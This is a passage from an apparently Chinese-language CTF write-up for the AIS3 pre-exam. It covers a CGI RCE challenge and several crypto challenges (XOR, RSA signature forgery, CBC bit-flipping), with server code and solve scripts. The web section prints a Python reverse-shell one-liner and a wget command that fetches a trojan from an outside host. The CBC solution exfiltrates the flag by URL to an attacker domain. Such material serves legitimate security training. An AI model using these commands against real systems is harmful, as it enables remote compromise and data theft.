class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-comment"># Python 3.6.5</span> <span class="hljs-keyword">import</span> requests <span class="hljs-keyword">import</span> re s = requests.session() <span class="hljs-string">''' 1. To send multiple files, we have tp use list here 2. Each element is a tuple, (POST name, (filename, file content)) 3. The filename of ARGV must be empty '''</span> files = [(<span class="hljs-string">'file'</span>, (<span class="hljs-string">''</span>, <span class="hljs-string">'ARGV'</span>)), (<span class="hljs-string">'file'</span>, (<span class="hljs-string">'filename1'</span>, <span class="hljs-string">'content1'</span>))] <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: rce = <span class="hljs-string">'sh -c /readflag|xxd|'</span> r = s.post(<span class="hljs-string">'http://104.199.235.135:31334/cgi-bin/index.cgi?'</span> + lfi_filepath, files=files) <span class="hljs-comment">#print(r.text)</span> print(re.findall(<span class="hljs-string">r'<pre>(.*)</pre>'</span>, r.text, re.S)[<span class="hljs-number">0</span>]) <span class="hljs-string">''' Raw payload: POST /cgi-bin/index.cgi?/etc/passwd HTTP/1.1 Host: 104.199.235.135:31334 User-Agent: python-requests/2.18.4 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 255 Content-Type: multipart/form-data; boundary=83b02634dc0d43e7992884eb46e3aed5 --83b02634dc0d43e7992884eb46e3aed5 Content-Disposition: form-data; name="file"; filename="" ARGV --83b02634dc0d43e7992884eb46e3aed5 Content-Disposition: form-data; name="file"; filename="filename1" content1 --83b02634dc0d43e7992884eb46e3aed5-- '''</span></code></pre><p>可以 RCE 基本上可以拿 flag,但能不能彈 reverse shell 呢?嘗試執行 reverse shell payload 卻發現 bash 馬上關掉,那只好用土一點的方法,先 wget 下載木馬,再執行 reverse shell,這次是 python 2.7 的 <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell</a></p> <pre class="hljs"><code>python -c <span class="hljs-string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("240.1.2.3",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</span></code></pre><pre class="hljs"><code><span class="hljs-attribute">wget</span> <span class="hljs-number">240.1.2.3:1234</span> -O /tmp/abcd</code></pre><p>出完全一樣的題目好像不太好(?)</p> <h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2> <h3 id="crypto-1"><a class="header-link" href="#crypto-1"></a>Crypto 1</h3> <p>忘了,貌似是算完 PoW 就拿到 flag</p> <h3 id="crypto-2"><a class="header-link" href="#crypto-2"></a>Crypto 2</h3> <p>XOR 題:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3 </span> <span class="hljs-keyword">import</span> os <span class="hljs-keyword">import</span> random <span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> data: flag = data.read() <span class="hljs-keyword">assert</span>(flag.startswith(<span class="hljs-string">b'AIS3{'</span>)) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">extend</span><span class="hljs-params">(key, L)</span>:</span> kL = len(key) <span class="hljs-keyword">return</span> key * (L // kL) + key[:L % kL] <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor</span><span class="hljs-params">(X, Y)</span>:</span> <span class="hljs-keyword">return</span> bytes([x ^ y <span class="hljs-keyword">for</span> x, y <span class="hljs-keyword">in</span> zip(X, Y)]) key = os.urandom(random.randint(<span class="hljs-number">8</span>, <span class="hljs-number">12</span>)) plain = flag + key key = extend(key, len(plain)) cipher = xor(plain, key) <span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag-encrypted'</span>, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> data: data.write(cipher)</code></pre><p>因為他最後會把 key 加到 plain text 上,利用這個特性可以藉由 flag 開頭是 <code>AIS3{</code>推導出剩下的 bytes,基本上就是把 flag rotate 了 k 個 bytes,再跟 flag 本身 xor:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-comment"># Python 3.6.5</span> <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> xor <span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag.enc'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f: c = f.read() <span class="hljs-keyword">for</span> key_len <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>, <span class="hljs-number">13</span>): parts = [] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(c)//key_len + <span class="hljs-number">1</span>): parts.append(c[i*key_len: (i+<span class="hljs-number">1</span>)*key_len]) print(parts[<span class="hljs-number">-1</span>].hex()) <span class="hljs-comment">#x ^ y = z</span> x = [xor(i, j) <span class="hljs-keyword">for</span> i, j <span class="hljs-keyword">in</span> zip(<span class="hljs-string">b'AIS3{'</span>, c)] + [<span class="hljs-keyword">None</span> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(key_len - len(<span class="hljs-string">'AIS3{'</span>))] right_rotate = len(parts[<span class="hljs-number">-1</span>]) y = x[-right_rotate:] + x[:-right_rotate] z = c[-key_len:] z = z[-right_rotate:] + z[:-right_rotate] z = [bytes([i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> z] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(key_len): <span class="hljs-keyword">if</span> y[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span> <span class="hljs-keyword">and</span> x[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span>: y[i] = xor(z[i], x[i]) <span class="hljs-keyword">if</span> x[i-right_rotate] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span>: x[i-right_rotate] = y[i] <span class="hljs-keyword">if</span> x[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span> <span class="hljs-keyword">and</span> y[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span>: x[i] = xor(z[i], y[i]) <span class="hljs-keyword">if</span> y[(i+right_rotate)%key_len] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span>: y[(i+right_rotate)%key_len] = x[i] print(xor(<span class="hljs-string">b''</span>.join(x), c))</code></pre><h3 id="crypto-3-(unsolved,-thanks-to-@how2hack)"><a class="header-link" href="#crypto-3-(unsolved,-thanks-to-@how2hack)"></a>Crypto 3 (unsolved, thanks to @how2hack)</h3> <p>Server code:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-keyword">import</span> os <span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes <span class="hljs-comment">#from proof import proof</span> <span class="hljs-comment"># some encoding problem in docker ( not important )</span> <span class="hljs-keyword">import</span> io <span class="hljs-keyword">import</span> sys sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding=<span class="hljs-string">'utf-8'</span>) <span class="hljs-comment">#with open('flag') as data:</span> <span class="hljs-comment"># flag = data.read()</span> normal = <span class="hljs-string">'\033[0m'</span> bold = <span class="hljs-string">'\033[1m'</span> red = <span class="hljs-string">'\033[91m'</span> green = <span class="hljs-string">'\033[92m'</span> yellow = <span class="hljs-string">'\033[93m'</span> blue = <span class="hljs-string">'\033[94m'</span> purple = <span class="hljs-string">'\033[95m'</span> aquamarine = <span class="hljs-string">'\033[96m'</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cprint</span><span class="hljs-params">(text, color = normal)</span>:</span> <span class="hljs-keyword">if</span> color == normal: print(text) <span class="hljs-keyword">else</span>: print(<span class="hljs-string">'{}{}{}'</span>.format(color, text, normal)) <span class="hljs-comment">#proof()</span> m = <span class="hljs-string">""" I owe you 10 bucks - 2018/4/1 Alice """</span>.strip() key = RSA.generate(<span class="hljs-number">2048</span>, os.urandom) m = int.from_bytes(m.encode(<span class="hljs-string">'utf-8'</span>), <span class="hljs-string">'big'</span>) s = key.sign(m, <span class="hljs-number">0</span>)[<span class="hljs-number">0</span>] cprint(<span class="hljs-string">'◢'</span> + <span class="hljs-string">'■'</span> * <span class="hljs-number">50</span> + <span class="hljs-string">'◣'</span>, bold) cprint(<span class="hljs-string">"- 2018/4/1"</span>, green) cprint(<span class="hljs-string">"Alice : Here is the receipt for the loan."</span>, yellow) cprint(<span class="hljs-string">"m = {}"</span>.format(m)) cprint(<span class="hljs-string">"Alice : Here is the digital signature (s, n, e) to prove that I actually wrote that receipt."</span>, yellow) cprint(<span class="hljs-string">"s = {}"</span>.format(s)) cprint(<span class="hljs-string">"n = {}"</span>.format(key.n)) cprint(<span class="hljs-string">"e = {}"</span>.format(key.e)) cprint(<span class="hljs-string">"Bob : OK, remember to pay me back someday."</span>, aquamarine) cprint(<span class="hljs-string">'◥'</span> + <span class="hljs-string">'■'</span> * <span class="hljs-number">50</span> + <span class="hljs-string">'◤'</span>, bold) cprint(<span class="hljs-string">''</span>) cprint(<span class="hljs-string">"🚀 on millions years later.."</span>, red) cprint(<span class="hljs-string">''</span>) cprint(<span class="hljs-string">'◢'</span> + <span class="hljs-string">'■'</span> * <span class="hljs-number">50</span> + <span class="hljs-string">'◣'</span>, bold) cprint(<span class="hljs-string">"- 1002018/4/1"</span>, green) cprint(<span class="hljs-string">"Bob : Dormammu, I've come to bargain."</span>, aquamarine) cprint(<span class="hljs-string">"Alice : Uh..., I'm not Dormammu."</span>, yellow) cprint(<span class="hljs-string">"Bob: Whatever..., I think it's time for you to pay me back."</span>, aquamarine) cprint(<span class="hljs-string">"Bob : Here is the receipt for the loan and also the signature."</span>, aquamarine) <span class="hljs-keyword">try</span>: m = int(input(<span class="hljs-string">"m = "</span>)) s = int(input(<span class="hljs-string">"s = "</span>)) <span class="hljs-keyword">if</span> key.verify(m, (s,)): m = long_to_bytes(m) print(m) print(m.split()) print(m.split()[<span class="hljs-number">3</span>]) bucks = int(m.split()[<span class="hljs-number">3</span>]) print(bucks) <span class="hljs-keyword">if</span> bucks > <span class="hljs-number">10</span>: cprint(<span class="hljs-string">"Alice : Oh crap, I don't have enough money..., maybe this flag can compensate you : {}"</span>.format(flag), yellow) <span class="hljs-keyword">else</span>: cprint(<span class="hljs-string">"Alice : Come on man, it's just 10 bucks..."</span>, yellow) exit(<span class="hljs-number">0</span>) <span class="hljs-keyword">else</span>: cprint(<span class="hljs-string">"Alice : What have you done..."</span>, yellow) <span class="hljs-keyword">except</span>: exit(<span class="hljs-number">0</span>) ...</code></pre><p>基本上是要偽造簽名,我一開始嘗試直接爆破 s,嘗試可能的 s 使得 $s^e = m$,並且 m 會讓 <code>int(m.split()[3]) > 10</code>,不過 s 跑了幾千萬都是失敗,因為太難讓 m 出現三個 0x20 (空格) 了。</p> <p>既然單純爆破 s 不太可行,那就把原本合法的 m 乘上去吧,畢竟原本合法的 m 有不少的 0x20,這個好性質使得乘上 m 之後,很快就可以搜出合法的解: </p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-comment"># Python 3.6.5</span> <span class="hljs-comment"># Solution thanks to @how2hack</span> <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes m = <span class="hljs-number">554925652019585156475787890525225102046075682323304548835475744305803283492262994789</span> s = <span class="hljs-number">8893931972182818044887642802041512151637835508778733483367383922956088851535543045353394423623009836954355437544623799405164469870666785493058916365730516406144818232329263261760598226562026674786971455782715020921619619272079877118489050655967728826115222391008470575222102106503254745378891954974052584021934609709120680006462744982083961724037574311385291857678940299733481927081819784710368972540801034570491587923992073030931037900174432334370101464769099165656306608605116392023443785561469993626851198599801789525811680963922516035028163499926100820053526995911509771419784466544291151531282528959015443443997</span> n = <span class="hljs-number">21232057752203050626327375413774655245866966677562081461618777215050100809614174448121718664073874770580592047257544090518156549247464236449881573516955891064948348640120104781529771203540220265613570642486380465030497213834318682366615946716455109515130588928786185167829699861919862539288169713824716271127284133643717019874393701490287994956317815564214797946176560219681181431433749699809927415253346547229042693265155026780261727400030789693357428715693850685842499335548901588448935551794449164274161376491308273104734354438424848886632452109979780615769063146540382650313788634482118159125354009606248992156239</span> e = <span class="hljs-number">65537</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>**<span class="hljs-number">30</span>): t = pow(i, e, n) * m % n t= long_to_bytes(t) <span class="hljs-comment">#print(m.split())</span> <span class="hljs-keyword">try</span>: <span class="hljs-keyword">if</span> len(t.split()) >= <span class="hljs-number">4</span> <span class="hljs-keyword">and</span> int(t.split()[<span class="hljs-number">3</span>]) > <span class="hljs-number">10</span>: print(t) <span class="hljs-keyword">except</span> ValueError: <span class="hljs-keyword">pass</span></code></pre><h3 id="crypto-4"><a class="header-link" href="#crypto-4"></a>Crypto 4</h3> <p>Server code:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-keyword">import</span> os, sys <span class="hljs-keyword">import</span> re <span class="hljs-keyword">import</span> random <span class="hljs-keyword">from</span> urllib.error <span class="hljs-keyword">import</span> HTTPError, URLError <span class="hljs-keyword">from</span> urllib.request <span class="hljs-keyword">import</span> urlopen <span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote <span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64encode, b64decode <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES <span class="hljs-keyword">from</span> proof <span class="hljs-keyword">import</span> proof <span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag'</span>) <span class="hljs-keyword">as</span> data: flag = data.read() <span class="hljs-comment"># simplify mail format</span> mail_for_ctfplayer = <span class="hljs-string">''' From: thor@ais3.org To: ctfplayer@ais3.org --BOUNDARY Type: text Welcome to AIS3 pre-exam. --BOUNDARY Type: cmd echo 'This is the blog of oalieno' web 'https://oalieno.github.io' echo 'This is the blog of bamboofox team' web 'https://bamboofox.github.io/' --BOUNDARY Type: text You can find some useful tutorial on there. And you might be wondering where is the flag? Just hold tight, and remember that patient is virtue. --BOUNDARY Type: text Here is your flag : {} --BOUNDARY Type: text Hope you like our crypto challenges. Thanks for solving as always. I'll catch you guys next time. See ya! --BOUNDARY '''</span>.format(flag).lstrip().encode(<span class="hljs-string">'utf-8'</span>) quotes = [<span class="hljs-string">'Keep on going never give up.'</span>, <span class="hljs-string">'Believe in yourself.'</span>, <span class="hljs-string">'Never say die.'</span>, <span class="hljs-string">"Don't give up and don't give in."</span>, <span class="hljs-string">'Quitters never win and winners never quit.'</span>] seen = <span class="hljs-keyword">False</span> key = os.urandom(<span class="hljs-number">16</span>) iv = os.urandom(<span class="hljs-number">16</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pad</span><span class="hljs-params">(text)</span>:</span> L = -len(text) % <span class="hljs-number">16</span> <span class="hljs-keyword">return</span> text + bytes([L]) * L <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">unpad</span><span class="hljs-params">(text)</span>:</span> L = text[<span class="hljs-number">-1</span>] <span class="hljs-keyword">if</span> L > <span class="hljs-number">16</span>: <span class="hljs-keyword">raise</span> ValueError <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, L + <span class="hljs-number">1</span>): <span class="hljs-keyword">if</span> text[-i] != L: <span class="hljs-keyword">raise</span> ValueError <span class="hljs-keyword">return</span> text[:-L] <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_mail</span><span class="hljs-params">(mail)</span>:</span> raw_mail = <span class="hljs-string">b""</span> <span class="hljs-comment"># parse many chunk</span> <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: <span class="hljs-comment"># throw away the delimeter</span> _, _, mail = mail.partition(<span class="hljs-string">b'--BOUNDARY\n'</span>) <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> mail: <span class="hljs-keyword">break</span> <span class="hljs-comment"># parse Type</span> type_, _, mail = mail.partition(<span class="hljs-string">b'\n'</span>) type_ = type_.split(<span class="hljs-string">b': '</span>)[<span class="hljs-number">1</span>] <span class="hljs-comment"># Type: text</span> <span class="hljs-keyword">if</span> type_ == <span class="hljs-string">b'text'</span>: text, _, mail = mail.partition(<span class="hljs-string">b'\n\n'</span>) raw_mail += text + <span class="hljs-string">b'\n'</span> <span class="hljs-comment"># Type: cmd</span> <span class="hljs-keyword">elif</span> type_ == <span class="hljs-string">b'cmd'</span>: <span class="hljs-comment"># parse many cmd</span> <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: <span class="hljs-comment"># see '\n\n' then continue to next chunk</span> <span class="hljs-keyword">if</span> mail[:<span class="hljs-number">1</span>] == <span class="hljs-string">b'\n'</span>: mail = mail[<span class="hljs-number">1</span>:] <span class="hljs-keyword">break</span> <span class="hljs-comment"># parse cmd, content</span> cmd, _, mail = mail.partition(<span class="hljs-string">b"'"</span>) content, _, mail = mail.partition(<span class="hljs-string">b"'\n"</span>) <span class="hljs-comment"># echo 'content' ( print some text )</span> <span class="hljs-keyword">if</span> cmd.startswith(<span class="hljs-string">b'echo'</span>): raw_mail += content + <span class="hljs-string">b'\n'</span> <span class="hljs-comment"># web 'content' ( preview some of the text on webpage )</span> <span class="hljs-keyword">elif</span> cmd.startswith(<span class="hljs-string">b'web'</span>): print(quote(content), file=sys.stderr) x = content.find(<span class="hljs-string">b'//'</span>) <span class="hljs-keyword">if</span> x != <span class="hljs-number">-1</span>: url = content[:x].decode(<span class="hljs-string">'utf-8'</span>) + <span class="hljs-string">'//'</span> + quote(content[x+<span class="hljs-number">2</span>:]) <span class="hljs-keyword">else</span>: url = <span class="hljs-string">'http://'</span> + quote(content) <span class="hljs-keyword">try</span>: req = urlopen(url) text = req.read() raw_mail += <span class="hljs-string">b'+ '</span> + content + <span class="hljs-string">b'\n'</span> raw_mail += <span class="hljs-string">b'\n'</span>.join(re.findall(<span class="hljs-string">b'<p>(.*)</p>'</span>, text)) + <span class="hljs-string">b'\n'</span> <span class="hljs-keyword">except</span> (HTTPError, URLError) <span class="hljs-keyword">as</span> e: <span class="hljs-keyword">pass</span> <span class="hljs-keyword">return</span> raw_mail <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_mail</span><span class="hljs-params">(mail)</span>:</span> <span class="hljs-comment"># I am so busy right now, no time to read the mails</span> <span class="hljs-keyword">pass</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">getmail</span><span class="hljs-params">()</span>:</span> <span class="hljs-keyword">global</span> seen <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> seen: aes = AES.new(key, AES.MODE_CBC, iv) mail = aes.encrypt(pad(mail_for_ctfplayer)) print(b64encode(mail).decode(<span class="hljs-string">'utf-8'</span>)) seen = <span class="hljs-keyword">True</span> <span class="hljs-keyword">else</span>: print(<span class="hljs-string">'you have read all mails.'</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sendmail</span><span class="hljs-params">(mail)</span>:</span> mail = b64decode(mail) aes = AES.new(key, AES.MODE_CBC, iv) mail = unpad(aes.decrypt(mail)) print(mail[<span class="hljs-number">8</span>*<span class="hljs-number">16</span>:<span class="hljs-number">10</span>*<span class="hljs-number">16</span>], file=sys.stderr) mail = parse_mail(mail) read_mail(mail) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">menu</span><span class="hljs-params">()</span>:</span> print(<span class="hljs-string">''</span>) print(<span class="hljs-string">'{:=^20}'</span>.format(<span class="hljs-string">' menu '</span>)) print(<span class="hljs-string">'1) ctf player mailbox'</span>) print(<span class="hljs-string">'2) send me a mail'</span>) print(<span class="hljs-string">'3) quit'</span>) print(<span class="hljs-string">'='</span> * <span class="hljs-number">20</span>) option = int(input(<span class="hljs-string">'> '</span>).strip()) <span class="hljs-keyword">if</span> option == <span class="hljs-number">1</span>: getmail() <span class="hljs-keyword">elif</span> option == <span class="hljs-number">2</span>: mail = input(<span class="hljs-string">'mail : '</span>) sendmail(mail) <span class="hljs-keyword">elif</span> option == <span class="hljs-number">3</span>: print(random.choice(quotes)) <span class="hljs-keyword">else</span>: exit(<span class="hljs-number">0</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>:</span> proof() <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: menu() main()</code></pre><p>unpad 有好好檢查,沒什麼問題。但這題 padding oracle 仍然可做,不過有 PoW 要做,所以先思考看看有沒有別的作法,唯一比較可疑的是 <code>urlopen</code>,parse mail 回傳的東西不會印出來,那 <code>urlopen</code> 就有點多餘了。</p> <p>我們有沒有辦法用 <code>urlopen</code> 去把 flag 傳回來呢?</p> <p>先把 block 稍微排一下:</p> <pre class="hljs"><code><span class="hljs-symbol">0 </span>b<span class="hljs-comment">'From: thor@ais3.'</span> <span class="hljs-symbol">1 </span>b<span class="hljs-comment">'org\nTo: ctfplaye'</span> <span class="hljs-symbol">2 </span>b<span class="hljs-comment">'r@ais3.org\n\n--BO'</span> <span class="hljs-symbol">3 </span>b<span class="hljs-comment">'UNDARY\nType: tex'</span> <span class="hljs-symbol">4 </span>b<span class="hljs-comment">'t\nWelcome to AIS'</span> <span class="hljs-symbol">5 </span>b<span class="hljs-comment">'3 pre-exam.\n\n--B'</span> <span class="hljs-symbol">6 </span>b<span class="hljs-comment">'OUNDARY\nType: cm'</span> <span class="hljs-symbol">7 </span>b<span class="hljs-string">"d\necho 'This is "</span> <span class="hljs-symbol">8 </span>b<span class="hljs-comment">'the blog of oali'</span> <span class="hljs-symbol">9 </span>b<span class="hljs-string">"eno'\nweb 'https:"</span> <span class="hljs-symbol">10 </span>b<span class="hljs-comment">'//oalieno.github'</span> <span class="hljs-symbol">11 </span>b<span class="hljs-string">".io'\necho 'This "</span> <span class="hljs-symbol">12 </span>b<span class="hljs-comment">'is the blog of b'</span> <span class="hljs-symbol">13 </span>b<span class="hljs-string">"amboofox team'\nw"</span> <span class="hljs-symbol">14 </span>b<span class="hljs-string">"eb 'https://bamb"</span> <span class="hljs-symbol">15 </span>b<span class="hljs-comment">'oofox.github.io/'</span> <span class="hljs-symbol">16 </span>b<span class="hljs-string">"'\n\n--BOUNDARY\nTy"</span></code></pre><p>我們可以利用 CBC 的特性,透過更改第 8 個 block 的密文,來更動第 9 個 block 的明文,雖然第 8 個 block 會解密成一堆爛掉的東西,但第 9 個 block 明文完全可控。</p> <p>那如果我們把 flag 直接接在後面呢?這樣 <code>urlopen</code> 就會把解密後的 flag 傳回來了。</p> <p>受限於 block size 的限制,我們的 domain name 要越短越好,所以直接上 <a href="http://dot.tk/">dot.tk</a> 申請一個免洗的 top domain,四個字 <code>abcd.tk</code> 是不用錢的。</p> <p>回到題目,這裡第 8 個 block 解爛不會怎樣,反正有第 9 個 block 的單引號就好,所以我們可以把第 9 個 block 變成 <code>'\nweb 'abcd.tk/</code> (其實 domain也不用這麼短),後面 parse 會補 <code>http://</code>,第 10 個 block 之後就接 flag 解密的 block,就能看到 server 把 flag 放在 url 傳回來了。</p> <p>Flag 有提到 <a href="https://nvd.nist.gov/vuln/detail/CVE-2017-17689">CVE-2017-17689</a> ,就是對 CBC 操作控制明文的 bug。</p> <p>Script:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-comment"># Python 3.6.5</span> <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> * <span class="hljs-keyword">import</span> base64 <span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> product chars = string.digits + string.ascii_letters <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">PoW</span><span class="hljs-params">(prefix)</span>:</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> product(*[chars <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>)]): x = prefix + <span class="hljs-string">''</span>.join(i) sha256 = hashlib.sha256() sha256.update(x.encode()) <span class="hljs-keyword">if</span> sha256.hexdigest()[:<span class="hljs-number">6</span>] == <span class="hljs-string">'000000'</span>: <span class="hljs-keyword">return</span> x <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">"Unfortunately, PoW not found."</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">fold16</span><span class="hljs-params">(x)</span>:</span> <span class="hljs-keyword">return</span> [x[i*<span class="hljs-number">16</span>:(i+<span class="hljs-number">1</span>)*<span class="hljs-number">16</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(x)//<span class="hljs-number">16</span>+<span class="hljs-number">1</span>)] ps = [ <span class="hljs-string">b'From: thor@ais3.'</span>, <span class="hljs-string">b'org\nTo: ctfplaye'</span>, <span class="hljs-string">b'r@ais3.org\n\n--BO'</span>, <span class="hljs-string">b'UNDARY\nType: tex'</span>, <span class="hljs-string">b't\nWelcome to AIS'</span>, <span class="hljs-string">b'3 pre-exam.\n\n--B'</span>, <span class="hljs-string">b'OUNDARY\nType: cm'</span>, <span class="hljs-string">b"d\necho 'This is "</span>, <span class="hljs-string">b'the blog of oali'</span>, <span class="hljs-comment">#8</span> <span class="hljs-string">b"eno'\nweb 'https:"</span>, <span class="hljs-string">b'//oalieno.github'</span>, <span class="hljs-comment">#10</span> <span class="hljs-string">b".io'\necho 'This "</span>,<span class="hljs-comment">#11 leak</span> <span class="hljs-string">b'is the blog of b'</span>,<span class="hljs-comment">#12 leak</span> <span class="hljs-string">b"amboofox team'\nw"</span>,<span class="hljs-comment">#13 leak</span> <span class="hljs-string">b"eb 'https://bamb"</span>,<span class="hljs-comment">#14 leak</span> <span class="hljs-string">b'oofox.github.io/'</span>, <span class="hljs-comment">#15</span> <span class="hljs-string">b"'\n\n--BOUNDARY\nTy"</span>,<span class="hljs-comment">#16</span> <span class="hljs-string">b'pe: text\nYou can'</span>, <span class="hljs-string">b' find some usefu'</span>, <span class="hljs-string">b'l tutorial on th'</span>, <span class="hljs-string">b'ere.\nAnd you mig'</span>, <span class="hljs-string">b'ht be wondering '</span>, <span class="hljs-string">b'where is the fla'</span>, <span class="hljs-string">b'g?\nJust hold tig'</span>, <span class="hljs-string">b'ht, and remember'</span>, <span class="hljs-string">b' that patient is'</span>, <span class="hljs-string">b' virtue.\n\n--BOUN'</span>, <span class="hljs-string">b'DARY\nType: text\n'</span>, <span class="hljs-string">b'Here is your fla'</span>, ] server = remote(<span class="hljs-string">'104.199.235.135'</span>, <span class="hljs-number">20003</span>) <span class="hljs-comment">#server = remote('127.0.0.1', 20003)</span> pow_str = server.recvuntil(<span class="hljs-string">'x = '</span>).decode() x_prefix = pow_str.split(<span class="hljs-string">"'"</span>)[<span class="hljs-number">1</span>] ans = PoW(x_prefix) server.sendline(ans) server.recvuntil(<span class="hljs-string">'> '</span>) server.sendline(<span class="hljs-string">'1'</span>) b64 = server.recvuntil(<span class="hljs-string">'\n\n'</span>) cs = fold16(base64.b64decode(b64)) server.recvuntil(<span class="hljs-string">'> '</span>) <span class="hljs-comment">#server.recvuntil('')</span> <span class="hljs-comment">#print(cs)</span> <span class="hljs-keyword">assert</span> ps[<span class="hljs-number">8</span>] == <span class="hljs-string">b'the blog of oali'</span> inject = <span class="hljs-string">b"'\nweb 'abcd.tk/"</span> <span class="hljs-keyword">assert</span> len(inject) == <span class="hljs-number">16</span> <span class="hljs-comment">#cs[8] = xor(cs[8], ps[9], inject)</span> cs[<span class="hljs-number">8</span>] = xor(cs[<span class="hljs-number">8</span>], ps[<span class="hljs-number">9</span>], inject) <span class="hljs-keyword">assert</span> ps[<span class="hljs-number">28</span>] == <span class="hljs-string">b'Here is your fla'</span> cs[<span class="hljs-number">10</span>] = cs[<span class="hljs-number">28</span>] <span class="hljs-comment"># In order to display cs[29] properly</span> cs[<span class="hljs-number">11</span>] = cs[<span class="hljs-number">29</span>] cs[<span class="hljs-number">12</span>] = cs[<span class="hljs-number">30</span>] cs[<span class="hljs-number">13</span>] = cs[<span class="hljs-number">31</span>] cs[<span class="hljs-number">14</span>] = cs[<span class="hljs-number">32</span>] server.sendline(<span class="hljs-string">'2'</span>) print(server.recvuntil(<span class="hljs-string">': '</span>)) b64 = base64.b64encode(<span class="hljs-string">b''</span>.join(cs)) server.sendline(b64) server.interactive() <span class="hljs-comment">#print(server.recv())</span></code></pre> </article> </div> </div> </body> </html>